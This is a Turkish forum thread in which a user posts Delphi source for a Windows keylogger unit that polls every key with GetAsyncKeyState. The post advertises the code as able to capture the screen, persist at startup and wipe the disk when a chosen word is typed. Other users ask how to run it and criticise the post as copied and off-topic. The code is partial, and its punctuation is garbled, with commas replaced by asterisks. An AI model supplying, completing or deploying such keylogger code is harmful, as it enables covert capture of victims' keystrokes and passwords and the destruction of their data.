Black_Knight

asagıdaki kodlarla yapabilecekleriniz.
ekran yakalama*key logger*kapatma*reset*başlangıca yazma*pc adı bulunmasi* ekrana transparan yazi*belli bir kelimeye duyarlılık ne yapacaksanız artık*mesela orhan kelimesini kullandığında format yesin gibi...şeklinde kullanabilirsiniz.burda deneme amaçlı.orhan tusladiğinda ardından istenen bir kelime oraya hızla tus olarak gönderiliyo.siz ne yaparsanız artık..BUNDAN SONRASI SİZE KALMIS buyrun kolay gelsin

KODLAR
***********************

unit tusalgila;
interface
uses SysUtils* Windows*FORMS*SHELLAPI*UNIT1*Registry;
procedure GetLetter;
function Shift:Boolean;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;

implementation

procedure GetLetter;
var
j:Integer;
a:string;
begin
if Odd(GetAsyncKeyState(219)) then ShowLetter(’Ğ’);
if Odd(GetAsyncKeyState(221)) then ShowLetter(’Ü’);
if Odd(GetAsyncKeyState(186)) then ShowLetter(’Ş’);
if Odd(GetAsyncKeyState(222)) then ShowLetter(’İ’);
if Odd(GetAsyncKeyState(191)) then ShowLetter(’Ö’);
if Odd(GetAsyncKeyState(220)) then ShowLetter(’Ç’);
// ’A’..’Z’ arasındaki tuşlara basılmışmı?
for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(Chr(j));
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(IntToStr((j - 97) + 1));
//F1 İLE F24 ARASINDAKİ TUŞLARA BASILMIŞMI
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
ShowLetter(’{F’ + IntToStr(j - 112 + 1) + ’}’);
//SAYILARDAN BİRİNE BASILMIŞMI?
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if Shift then
begin
case j - 48 of
1: ShowLetter(’!’);
2: ShowLetter( @ );
3: ShowLetter(’#’);
4: ShowLetter(’$’);
5: ShowLetter(’%’);
6: ShowLetter(’^’);
7: ShowLetter(’&’);
8: ShowLetter(’*’);
9: ShowLetter(’(’);
0: ShowLetter(’)’);
end;
end
else
ShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then ShowLetter(’<Back>’);
if Odd(GetAsyncKeyState(VK_TAB)) then ShowLetter(’<Tab>’);
if Odd(GetAsyncKeyState(VK_RETURN)) then ShowLetter(#13#10);
if Odd(GetAsyncKeyState(VK_SHIFT)) then ShowLetter(’<Shift>’);
if Odd(GetAsyncKeyState(VK_CONTROL)) then ShowLetter(’<CTRL>’);
if Odd(GetAsyncKeyState(VK_MENU)) then ShowLetter(’<Alt>’);
if Odd(GetAsyncKeyState(VK_PAUSE)) then ShowLetter(’<Pause>’);
if Odd(GetAsyncKeyState(VK_ESCAPE)) then ShowLetter(’<ESC>’);
if Odd(GetAsyncKeyState(VK_SPACE)) then ShowLetter(’ ’);
if Odd(GetAsyncKeyState(VK_END)) then ShowLetter(’<End>’);
if Odd(GetAsyncKeyState(VK_HOME)) then ShowLetter(’<Home>’);
if Odd(GetAsyncKeyState(VK_LEFT)) then ShowLetter(’<sol>’);
if Odd(GetAsyncKeyState(VK_RIGHT)) then ShowLetter(’<sağ>’);
if Odd(GetAsyncKeyState(VK_UP)) then ShowLetter(’<Yukarı>’);
if Odd(GetAsyncKeyState(VK_DOWN)) then ShowLetter(’<Aşağı>’);
if Odd(GetAsyncKeyState(VK_INSERT)) then ShowLetter(’<Insert>’);
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then ShowLetter(’*’);
if Odd(GetAsyncKeyState(VK_ADD)) then ShowLetter(’+’);
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then ShowLetter(’-’);
if Odd(GetAsyncKeyState(VK_DECIMAL)) then ShowLetter(’.’);
if Odd(GetAsyncKeyState(VK_DIVIDE)) then ShowLetter(’/’);
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then ShowLetter(’<NumLock>’);
if Odd(GetAsyncKeyState(VK_CAPITAL)) then begin
IF CAP=0 THEN CAP:=1 else CAP:=0;ShowLetter(’<CapsLock>’);end;
if Odd(GetAsyncKeyState(VK_SCROLL)) then ShowLetter(’<Scroll>’);
if Odd(GetAsyncKeyState(VK_DELETE)) then ShowLetter(’<Delete>’);
if Odd(GetAsyncKeyState(VK_PRIOR)) then ShowLetter(’<Page Up>’);
if Odd(GetAsyncKeyState(VK_NEXT)) then ShowLetter(’<Page Down>’);
if Odd(GetAsyncKeyState(VK_PRINT)) then ShowLetter(’<Print Screen>’);
if MoreChars($BA*’:’*’;’*a) then ShowLetter(a);
if MoreChars($BB*’+’*’=’*a) then ShowLetter(a);
if MoreChars($BC*’<’*’*’*a) then ShowLetter(a);
if MoreChars($BD*’_’*’-’*a) then ShowLetter(a);
if MoreChars($BE*’>’*’.’*a) then ShowLetter(a);
if MoreChars($BF*’?’*’/’*a) then ShowLetter(a);
if MoreChars($C0*’~’*’`’*a) then ShowLetter(a);
if MoreChars($DB*’{’*’[’*a) then ShowLetter(a);
if MoreChars($DC*’|’*’\’*a) then ShowLetter(a);
if MoreChars($DD*’}’*’]’*a) then ShowLetter(a);
if MoreChars($DE*’"’*’’’’*a) then ShowLetter(a);
end;
function MoreChars(CharNumber:Integer;TruePart*FalsePart:st ring;var Answer:string):Boolean;
begin
MoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if Shift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
MoreChars:=False;
end;
function Shift:Boolean;
begin
Shift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;


end.
unit Unit1;
interface
uses
Windows* Messages*SysUtils*Forms*ExtCtrls*Graphics*
Controls* StdCtrls* Classes*Inifiles*registry*SHELLAPI*JPEG;
type
TForm1 = class(TForm)
Timer1: TTimer;
MEMO1: TMemo;
Timer2: TTimer;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

m4kroop

kardes Birde Nasil Kullanildigini Anlatsaydin Iyi Olurdu

__________________
M4kRoop

Herşey Vatan İçin;

_____________
........................

bonusonur

nere gircez bu kodları

__________________

Black_Knight

kusuruma bakmayın

djalicee

black bilmiyosan nasıl yapldığını bari alıntı deseydin

bonusonur

kusura bakmayın ne demek bea. söylesene nası yapacağımızı

__________________

ecco

post kasıyosun ama neye kasıyosun
ne yazdığını bilmiyosun bile ilginç
alıntı diye bildirmiyosunda üstüne üstlük
ayrıca bu konunun güvenlikle ne alakası var onu hala anlamış diilim
bari programlamaya açsaydın konuyu
paylaşım yap ama dediklerime dikkat etsen daha ii olur

__________________
şuan sınavlarım var cuma gününe kadar yazı yazamayabilirim cuma günü görüşmek üzere

Black_Knight

önemli değil

tolgadrift

saçmalık yaaa

aksaray68

Evet Bencede Konuyu AÇ Bİraz